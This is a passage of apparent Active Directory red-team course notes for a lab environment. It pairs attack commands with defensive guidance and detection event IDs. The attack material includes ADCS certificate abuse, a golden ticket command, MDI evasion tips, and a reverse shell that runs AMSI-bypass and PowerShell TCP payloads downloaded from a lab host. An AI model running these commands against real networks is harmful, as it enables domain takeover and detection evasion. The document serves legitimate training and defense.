Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:"CA-Integration" /altname:administrator

• Convert from cert.pem to pfx (esc6.pfx below) and use it to request a TGT for DA (or EA).

Rubeus.exe asktgt /user:administrator /certificate:esc6.pfx /password:SecretPass@123 /ptt

MS-SQL Servers Abuse

• Discovery (SPN Scanning)

Get-SQLInstanceDomain

• Check Accessibility

Get-SQLConnectionTestThreaded

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

• Gather Information

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

• Look for links to remote servers

Get-SQLServerLink -Instance dcorp-mssql -Verbose

select * from master..sysservers

• Openquery() function can be used to run queries on a linked database

select * from openquery("dcorp-sql1",'select * from master..sysservers')

• Enumerating Database Links

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose

or • Openquery queries can be chained to access links within links (nested links)

select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt",''select * from master..sysservers'')')

• Executing Commands

EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"

• Use the -QuertyTarget parameter to run Query on a specific instance (without -QueryTarget the command tries to use xp_cmdshell on every link of the chain)

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" -QueryTarget eu-sql

• From the initial SQL server, OS commands can be executed using nested link queries:

select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt",''select * from openquery("eu-sql.eu.eurocorp.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')

• Reverse shell -

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell ''powershell -c "iex (iwr -UseBasicParsing http://172.16.100.56/sbloggingbypass.txt);iex (iwr -UseBasicParsing http://172.16.100.56/amsibypass.txt);iex (iwr -UseBasicParsing http://172.16.100.56/Invoke-PowerShellTcpEx.ps1)"''' -QueryTarget eu-sql

MDI Bypass

• The key is to avoid talking to the DC as long as possible and make appear the traffic we generate as attacker normal.

• To bypass DCSync detection, go for users which are whitelisted. For example, the user account used for PHS may be whitelisted.

• Also, if we have NTLM hash of a DC, we can extract NTLM hashes of any machine account using netsync

• If we forge a Golden Ticket with SID History of the Domain Controllers group and Enterprise Domain Controllers Group, there are less chances of detection by MDI

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:dcorp-dc$ /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /groups:516 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:4e9815869d2090ccfca61c1fe0d23986 /ptt" "exit"

Protect and Limit Domain Admins

• Reduce the number of Domain Admins in your environment.

• Do not allow or limit login of DAs to any other machine other than the Domain Controllers. If logins to some servers is necessary, do not allow other administrators to login to that machine.

• (Try to) Never run a service with a DA. Credential theft protections which we are going to discuss soon are rendered useless in case of a service account.

• Set "Account is sensitive and cannot be delegated" for DAs.

Protected Users Group

• Protected Users is a group introduced in Server 2012 R2 for "better protection against credential theft" by not caching credentials in insecure ways. A user added to this group has following major device protections:

  1. Cannot use CredSSP and WDigest - No more cleartext credentials caching.

  2. NTLM hash is not cached.

  3. Kerberos does not use DES or RC4 keys. No caching of clear text cred or long term keys.

• If the domain functional level is Server 2012 R2, following DC protections are available:

  1. No NTLM authentication.

  2. No DES or RC4 keys in Kerberos pre-auth.

  3. No delegation (constrained or unconstrained)

  4. No renewal of TGT beyond initial four hour lifetime - Hardcoded, unconfigurable Maximum lifetime for user ticket" and "Maximum lifetime for user ticket renewal"

• Needs all domain control to be at least Server 2008 or later (because AES keys).

• Not recommended by MS to add DAs and EAs to this group without testing "the potential impact" of lock out.

• No cached logon ie. no offline sign-on.

• Having computer and service accounts in this group is useless as their credentials will always be present on the host machine.


Isolate administrative workstations

Privileged Administrative Workstations (PAWs)

• A hardened workstation for performing sensitive tasks like administration of domain controllers, cloud infrastructure, sensitive business functions etc.

• Can provides protection from phishing attacks, OS vulnerabilities, credential replay attacks.

• Admin Jump servers to be accessed only from a PAW, multiple strategies

  1. Separate privilege and hardware for administrative and normal tasks.

  2. Having a VM on a PAW for user tasks.

Secure local administrators

LAPS (Local Administrator Password Solution)

• Centralized storage of passwords in AD with periodic randomizing where read permissions are access controlled. • Computer objects have two new attributes - ms-mcs-AdmPwd attribute stores the clear text password and ms-mcs-AdmPwdExpirationTime controls the password change.

• Storage in clear text, transmission is encrypted.

• Note - With careful enumeration, it is possible to retrieve which users can access the clear text password providing a list of attractive targets!


Time Bound Administration

Just In Time (JIT)

• Just In Time (JIT) administration provides the ability to grant time-bound administrative access on per-request bases.

• Check out Temporary Group Membership! (Requires Privileged Access Management Feature to be enabled which can't be turned off later)

Add-ADGroupMember -Identity 'Domain Admins' -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 60)

Just Enough Administration (JEA)

• JEA (Just Enough Administration) provides role based access control for PowerShell based remote delegated administration.

• With JEA non-admin users can connect remotely to machines for doing specific administrative tasks.

• For example, we can control the command a user can run and even restrict parameters which can be used.

• JEA endpoints have PowerShell transcription and logging enabled.


Defenses

Active Directory Administrative Tier Model

• Composed of three levels only for administrative accounts:

  1. Tier 0 - Accounts, Groups and computers which have privileges across the enterprise like domain controllers,domain admins, enterprise admins.

  2. Tier 1 - Accounts, Groups and computers which have access to resources having significant amount of business value. A common example role is server administrators who maintain these operating systems with the ability to impact all enterprise services.

  3. Tier 2 - Administrator accounts which have administrative control of a significant amount of business value that is hosted on user workstations and devices. Examples include Help Desk and computer support administrators because they can impact the integrity of almost any user data.

• Control Restrictions - What admins control.

• Logon Restrictions - Where admins can log-on to.

ESAE (Enhanced Security Admin Environment)

• Dedicated administrative forest for managing critical assets like administrative users, groups and computers.

• Since a forest is considered a security boundary rather than a domain, this model provides enhanced security controls.

• The administrative forest is also called the Red Forest.

• Administrative users in a production forest are used as standard non-privileged users in the administrative forest.

• Selective Authentication to the Red Forest enables stricter security controls on logon of users from non-administrative forests.

• Microsoft retired ESAE in 2021 and replaced it with Privileged Access Strategy but it is still worth discussing.

Credential Guard

• It "uses virtualization-based security to isolate secrets so that only privileges system software can access them".

• But, credentials for local accounts in SAM and Service account credentials from LSA Secrets are NOT protected.

• Credential Guard cannot be enabled on a domain controller as it breaks authentication there.

• Only available on the Windows 10+ Enterprise edition and Server 2016/later.

• Mimikatz can bypass it but still, no need to not use it.

Device Guard (WDAC)

• It is a group of features "designed to harden a system against malware attacks. Its focus is preventing malicious code from running by ensuring only known good code can run."

• Three primary components:

  1. Configurable Code Integrity (CCI) - Configure only trusted code to run

  2. Virtual Secure Mode Protected Code Integirty - Enforces CCI with Kernerl Mode (KMCI) and UserMode (UMCI)

  3. Platform and UEFI Secure Boot - Ensures boot binaries and firmware integrity

• UMCI is something which interferes with most of the lateral movement attacks we have seen.

• While it depends on the deployment (discussing which will be too lengthy), many well known application whitelisting bypasses - signed binaries like csc.exe, MSBuild.exe etc. - are useful for bypassing UMCI as well.

• Check out the LOLBAS project (lolbas-project.github.io/).

MDI

• "..identify, detect, and investigate advanced threats, compromised identities, and malicious insider actions directed at your organization."

• MDI sensors are installed on DCs and Federation servers. Analysis and alerting is done in the Azure cloud.

• MDI can be used for detecting

  1. Recon

  2. Compromised credentials (Brute-Force, Kerberoasting etc.)

  3. Lateral movement (PTH, OPTH etc.)

  4. Domain Dominance (DCSync, Golden ticket, Skeleton key etc.)

  5. Exfiltration

Deceptions

• Deception is a very effective technique in active directory defense.

• By using decoy domain objects, defenders can trick adversaries to follow a particular attack path which increases chances of detection and increase their cost in terms of time.

• Traditionally, deception has been limited to leave honey credentials on some boxes and check their usage but we can use it effectively during other phases of an attack.

• What to target? --> Adversary mindset of going for the "lowest hanging fruit" and illusive superiority over defenders.

• We must provide the adversaries what they are looking for. For example, what adversaries look for in a user object:

  1. A user with high privileges.

  2. Permissions over other objects.

  3. Poorly configured ACLs.

  4. Misconfigured/dangerous user attributes and so on.

• Note that Windows Settings|Security Settings|Advanced Audit Policy Configuration|DS Access|Audit Directory Service Access Group Policy needs to be configured to enable 4662 logging.

User Deception

• Creates a decoy user whose password never expires and a 4662 is logged whenever x500uniqueIdentifier - d07da11f-8a3d-42b6-b0aa-76c962be719a property of the user is read.:

Create-DecoyUser -UserFirstName user -UserLastName manager -Password Pass@123 | Deploy-UserDeception - UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose

• This property is not read by net.exe, WMI classes (like Win32_UserAccount) and ActiveDirectory module. But LDAP based tools like PowerView and ADExplorer trigger the logging.

• Create a decoy user named decda and make it a member of the Domain Admins group. As a protection against potential abuse, Deny logon to the user on any machine.

Create-DecoyUser -UserFirstName dec -UserLastName da -Password Pass@123 | Deploy-PrivilegedUserDeception -Technique DomainAdminsMemebership -Protection DenyLogon -Verbose

• If there is any attempt to use the user credentials (password or hashes) a 4768 is logged.

• Any enumeration which reads DACL or all properties for the user will result in a 4662 logging.


Detections

Golden Ticket

• Event IDs

  1. 4624: Account Logon

  2. 4672: Admin Logon

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List -Property *

Silver Ticket

• Event IDs

  1. 4624: Account Logon

  2. 4634: Account Logoff

  3. 4672: Admin Logon

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List -Property *

Skeleton Key

• Event IDs

  1. 7045 - A service was installed in the system. (Type Kernel Mode driver)

  2. 4673 - Sensitive Privilege Use

  3. 4611 - A trusted logon process has been registered with the Local Security Authority

  4. "Audit privilege use" must be enabled

• Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "*Kernel Mode Driver*"}

• Not recommended:

Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "*Kernel Mode Driver*" -and $_.message -like "*mimidrv*"}

• Mitigation

  1. Running lsass.exe as a protected process is really handy as it forces an attacker to load a kernel mode driver.

  2. Make sure that you test it thoroughly as many drivers and plugins may not load with the protection.

New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name RunAsPPL -Value 1 -Verbose

• Verify after a reboot

Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message - like "*protected process*"}

DSRM

• Events

  1. Event ID 4657 - Audit creation/change of HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior

Malicious SSP

• Events

  1. Event ID 4657 - Audit creation/change of HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages

Kerberoasting

• Events

  1. Security Event ID 4769 - A Kerberos ticket was requested

• Mitigation

  1. Service Account Passwords should be hard to guess (greater than 35 characters)

  2. Use Group Managed Service Accounts (Automatic change of password periodically and delegated SPN Management)

• Since 4769 is logged very frequently on a DC. We may like to filter results based on the following information from logs:

  1. Service name should not be krbtgt

  2. Service name does not end with $ (to filter out machine accounts used for services)

  3. Account name should not be machine@domain (to filter out requests from machines)

  4. Failure code is '0x0' (to filter out failures, 0x0 is success)

  5. Most importantly, ticket encryption type is 0x17

ACL Attacks

• Events

  1. Security Event ID 4662 (Audit Policy for object must be enabled) - An operation was performed on an object

  2. Security Event ID 5136 (Audit Policy for object must be enabled) - A directory service object was modified

  3. Security Event ID 4670 (Audit Policy for object must be enabled) - Permissions on an object were changed

Trust Tickets

• SID Filtering

• Avoid attacks which abuse SID history attribute (child to root domain privilege escalation, that is, DA from a Child to EA on forest root). • Enabled by default on all inter-forest trusts. Intra-forest trusts are assumed secured by default (MS considers forest and not the domain to be a security boundary).

• But, since SID filtering has potential to break applications and user access, it is often disabled.

Selective Authentication

• In an inter-forest trust, if Selective Authentication is configured, users between the trusts will not be automatically authenticated. Individual access to domains and servers in the trusting domain/forest should be given.


Recommended Readings

• Securing Privileged Access:

• Best Practices for Securing Active Directory:

PreviousBloodHoundNextADCS

Last updated 8 days ago

We can use DefenderCheck () to identify code and strings from a binary / file that Windows Defender may flag.

The ActiveDirectory PowerShell module (MS signed and works even in PowerShell CLM)

BloodHound (C# and PowerShell Collectors)

PowerView (PowerShell)

SharpView (C#) - Doesn't support filtering using Pipeline

PowerUp:

Privesc:

winPEAS -

• We can also use winrm.vbs and COM objects of WSMan object -

• We can use DefenderCheck () to identify code and strings from a binary that Windows Defender may flag.

For Rubeus.exe, we used ConfuserEx () to obfuscate the binary.

• We can use NetLoader () to deliver our binary payloads.

• Using ActiveDirectory Module and RACE toolkit () :

And after that run MS-RPRN.exe () on the student VM:

If you are attacking from a Linux machine, check out Coercer () for other MS protocols that can be abused for coercion.

Active Directory Certificate Services (ADCS) • We can use the Certify tool () to enumerate (and for other attacks) AD CS in the target forest:

• For MSSQL and PowerShell hackery, lets use PowerUpSQL

• Effective in stopping PTH and Over-PTH attacks by restricting access to NTLM hashes and TGTs. It is not possible to write Kerberos tickets to memory even if we have credentials.

• Let's create some user objects which can be used for deceiving adversaries. We can use Deploy-Deception for this:

• Useful tool --> AD ACL Scanner - Create and compare create reports of ACLs.

📖
https://github.com/t3hbb/DefenderCheck
https://github.com/danielbohannon/Invoke-Obfuscation
https://github.com/samratashok/ADModule
https://github.com/BloodHoundAD/BloodHound
https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1
https://github.com/tevora-threat/SharpView/
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
https://github.com/enjoiz/Privesc
https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
https://github.com/bohops/WSMan-WinRM
https://github.com/matterpreter/DefenderCheck
https://github.com/mkaring/ConfuserEx
https://github.com/Flangvik/NetLoader
https://github.com/samratashok/RACE
https://github.com/leechristensen/SpoolSample
https://github.com/p0dalirius/Coercer
https://github.com/GhostPack/Certify
https://github.com/NetSPI/PowerUpSQL
https://docs.microsoft.com/en-us/windows/access-protection/credential-guard/credential-guard
https://docs.microsoft.com/en-us/windows/device-security/device-guard/introduction-to-device-guard-virtualization-based-security-and-code-integrity-policies
https://github.com/samratashok/Deploy-Deception
https://github.com/canix1/ADACLScanner
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access
https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory